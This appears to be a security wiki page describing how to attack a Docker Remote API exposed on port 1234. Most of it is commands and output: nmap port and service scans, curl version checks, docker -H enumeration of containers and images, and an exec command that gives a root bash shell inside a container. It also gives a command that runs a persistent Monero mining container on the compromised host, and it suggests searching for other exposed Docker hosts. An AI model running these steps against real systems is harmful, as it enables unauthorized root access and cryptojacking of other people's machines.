Table of Contents
Docker - Security - Attack Docker exposed API
If you have enabled Docker Remote API, per Enable Docker Remote API, you may be vulnerable to attacks.
Information Gathering & Enumeration
Do a port scan
sudo nmap -sS -T5 192.168.1.118 -p-Starting Nmap 7.01 ( https://nmap.org ) at 2017-04-11 12:37 CEST Nmap scan report for 192.168.1.118 Host is up (0.00076s latency). Not shown: 65498 closed ports, 35 filtered ports PORT STATE SERVICE 22/tcp open ssh 1234/tcp open docker MAC Address: 0C:01:67:8A:63:F2 (Oracle VirtualBox virtual NIC)
I had to scan more ports that the default top 1000 because the docker API port is not included :( Ok then, what about service detection?
nmap -sTV -p 1234 192.168.1.118 Starting Nmap 7.01 ( https://nmap.org ) at 2017-04-11 12:43 CEST Nmap scan report for 192.168.1.118 Host is up (0.00038s latency). PORT STATE SERVICE VERSION 1234/tcp open 18.06.0-ce Docker Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 75.65 seconds
This confirm that we are dealing with Docker.
nmap also discovered the exact version of Docker. If we want to confirm it manually we can issue a GET request to the endpoint located at: http://<IP>:1234/version.
curl -s http://192.168.1.118:1234/version | python -m json.tool
NOTE: Claudio Criscione wrote a nmap script to do this (His GitHub page).
Test the exposed API using the docker CLI
docker -H 192.168.1.118:1234 info
Gather Information
Are there some containers running?
docker -H 192.168.1.118:1234 ps
Are there some stopped containers?
docker -H 192.168.1.118:1234 ps -a
What are the images pulled on the host machine?
docker -H 192.168.1.118:1234 images
Accessing the container
Spawn a bash shell:
docker -H 192.168.1.118:1234 exec -it <container name> /bin/bash
Check ownership:
whoami && id root uid=0(root) gid=0(root) groups=0(root)
NOTE: Already root!!!
The default user inside a container is root.
Once inside a container you can start digging for some useful information.
Launching other containers
A funny thing that you can do is launch other containers, this is not very stealthy but can be useful.
Following the crypto-mining trend, this blog post explains how to mine monero with docker:
You can have a look inside the Dockerfile at this link from DockerHub.
Easily you could launch a mining container with the following command:
docker -H 192.168.1.118:1234 run --restart unless-stopped --read-only -m 50M -c 512 bitnn/alpine-xmrig -o POOL01 -o POOL02 -u WALLET -p PASSWORD -k
Find exposed Docker API
-
- Search for: Product:“Docker”